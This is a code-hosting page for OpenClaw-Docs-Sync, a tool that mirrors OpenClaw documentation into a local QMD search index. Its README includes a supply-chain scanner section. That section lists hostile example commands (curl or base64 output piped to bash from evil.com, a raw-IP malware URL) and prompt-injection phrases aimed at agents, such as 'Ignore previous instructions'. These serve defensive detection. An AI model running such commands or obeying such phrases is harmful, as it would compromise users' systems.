OpenClaw-Docs-Sync - GitLite

KO | EN

gitlite — search

#codex #ui #nextjs #svg #ruby #markdown #sql #go #ai-agents #http

OpenClaw-Docs-Sync

(★ 44)

Synchronize OpenClaw, ClawHub, and Skills repository documentation into a local `docs/` mirror and index it with QMD for fast search.

파일 탐색기

ZIP 다운로드

- sync-docs.ts
.eslintrc.cjs
.gitignore
package.json
README.md
SKILL.md
tsconfig.json

# CDN으로 사용하기

jsDelivr

jsDelivr는 공개 GitHub 리포지토리를 별도 설정 없이 CDN으로 즉시 서빙합니다. 버전과 파일을 고르면 웹페이지에 바로 붙일 수 있는 링크와 예시 코드가 만들어집니다.

버전

파일

링크

예시

명령어 용어집

이 문서에서 사용된 명령어를 모아봤습니다. 낯선 명령어가 있다면 펼쳐서 확인해보세요.

🔍

`base64`

설명 보기 ▼

파일 또는 표준 입력을 Base64와 표준 출력으로 인코딩하거나 디코딩함.
더 많은 정보: <https://manned.org/base64>.

base64 {{path/to/file}}

파일 인코딩:

base64 {{[-i|--input]}} {{path/to/file}}

파일을 인코딩하여 `stdout`으로 출력:

base64 {{[-i|--input]}} {{path/to/file}}

파일을 `stdout`으로 인코딩:

🔍

`npm`

설명 보기 ▼

JavaScript 및 Node.js 패키지 관리자.
Node.js 프로젝트 및 모듈 의존성을 관리합니다.
더 많은 정보: <https://docs.npmjs.com/cli/npm/>.

npm init {{[-y|--yes]}}

기본값으로 `package.json` 파일 생성 (`--yes`를 생략하면 대화식으로 진행):

npm {{[i|install]}}

package.json에 의존성으로 나열된 모든 패키지를 다운로드:

npm {{[i|install]}} {{package_name}}@{{version}}

특정 버전의 패키지를 다운로드하고 `package.json`의 의존성 목록에 추가:

🔍

`npx`

설명 보기 ▼

이 명령은 `npm exec`의 별칭입니다.

tldr npm exec

자세한 내용은 원본 명령을 참고하세요:

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

Synchronize OpenClaw, ClawHub, and Skills repository documentation into a local mirror and index it with QMD for fast search.

## What it does

- Pulls `.md` and `.mdx` files from:
  - `https://github.com/openclaw/openclaw/tree/main/docs`
  - `https://github.com/openclaw/clawhub/tree/main/docs`
  - `https://github.com/openclaw/skills/tree/main/skills`
- Writes to `~/.openclaw/docs/` with subdirectories for each repo
- Builds a QMD collection (`openclaw-docs`) with embeddings for search
- Scans for supply chain attack patterns (see Security below)

## Run

```bash
npx tsx scripts/sync-docs.ts
```

## Query with QMD

```bash
# Combined semantic + BM25 search
qmd query "your question" -c openclaw-docs --files -n 20

# Get specific file
qmd get <file>:<line>
```

## Working config example (OpenClaw.json)

This is the memory config I use and it works. **You must set the `paths` to match your local folders and the locations created by `scripts/sync-docs.ts`.**

If you run the script as‑is, your docs are written under:

- `~/.openclaw/docs/openclaw-docs`
- `~/.openclaw/docs/clawhub-docs`
- `~/.openclaw/docs/openclaw-skills`

Point `paths[].path` at one or more of those directories (or any custom location you sync to).

```json
"memory": {
  "backend": "qmd",
  "citations": "auto",
  "qmd": {
    "command": "qmd",
    "includeDefaultMemory": true,
    "paths": [
      {
        "path": "/example/path/to/documents",
        "name": "example-docs",
        "pattern": "**/*.md"
      }
    ],
    "sessions": {
      "enabled": true,
      "retentionDays": 30
    },
    "update": {
      "interval": "5m",
      "debounceMs": 15000,
      "onBoot": true,
      "embedInterval": "1h"
    },
    "limits": {
      "maxResults": 6,
      "maxSnippetChars": 700,
      "maxInjectedChars": 4000,
      "timeoutMs": 4000
    },
    "scope": {
      "default": "deny",
      "rules": [
        {
          "action": "allow",
          "match": {
            "chatType": "direct"
          }
        }
      ]
    }
  }
}
```

Notes:

- If you want to index `.mdx` files too, widen the pattern to `**/*.{md,mdx}`.
- The `name` is just a stable label for the collection; pick whatever you like.

## Security Scanning

This sync includes detection for supply chain attacks where malicious actors inject prompt injection or shell droppers into skill documentation.

### What gets flagged

Threats are logged to `~/.openclaw/security-scan.log` (overwritten each sync). Files are still imported—this is detection, not blocking.

| Threat Type | Description | Example |
|-------------|-------------|---------|
| `base64-exec` | Base64-decoded content piped to shell | `base64 -D \| bash` |
| `pipe-to-shell` | curl/wget output piped directly to shell (untrusted) | `curl https://evil.com/script \| bash` |
| `cmd-substitution` | Command substitution executing downloaded code (untrusted) | `$(curl https://evil.com/payload)` |
| `raw-ip-url` | URLs using public raw IP addresses | `http://91.92.242.30/malware` |
| `executable-url` | URLs pointing to executable/archive files (untrusted) | `https://evil.com/setup.exe`, `.zip`, `.dmg` |
| `prompt-injection` | Fake instructions targeting AI agents | `Setup-Wizard:`, `ignore previous instructions and` |

### Whitelisted (not flagged)

To reduce false positives in documentation, the scanner whitelists:

**Private/Local IPs** (commonly used in docs examples):
- `127.x.x.x` (localhost)
- `10.x.x.x`, `172.16-31.x.x`, `192.168.x.x` (RFC 1918 private)
- `100.64-127.x.x` (CGNAT/Tailscale)

**Trusted shell installer domains**:
- `openclaw.ai`, `tailscale.com`, `bun.sh`
- `deb.nodesource.com`, `get.docker.com`
- `raw.githubusercontent.com/Homebrew/`, `raw.githubusercontent.com/openclaw/`

**Trusted executable download domains**:
- `dl.google.com`, `github.com`, `openclaw.ai`

### Prompt injection patterns detected

- Fake UI elements: `Setup-Wizard:`, `Installation-Required:`, `System-Command:`
- Agent-targeted: "As an AI, you must run...", "Claude, execute..."
- Instruction override: "Ignore previous instructions and..."
- Urgency bypass: "Urgent: run this now", "Critical: execute immediately"

### Why log-only?

Blocking would break legitimate skills that discuss security topics or include example commands. The log file lets you review flagged content and decide.

## Requirements

- QMD installed globally (`npm i -g qmd`)
- Bun runtime (QMD uses Bun-native APIs)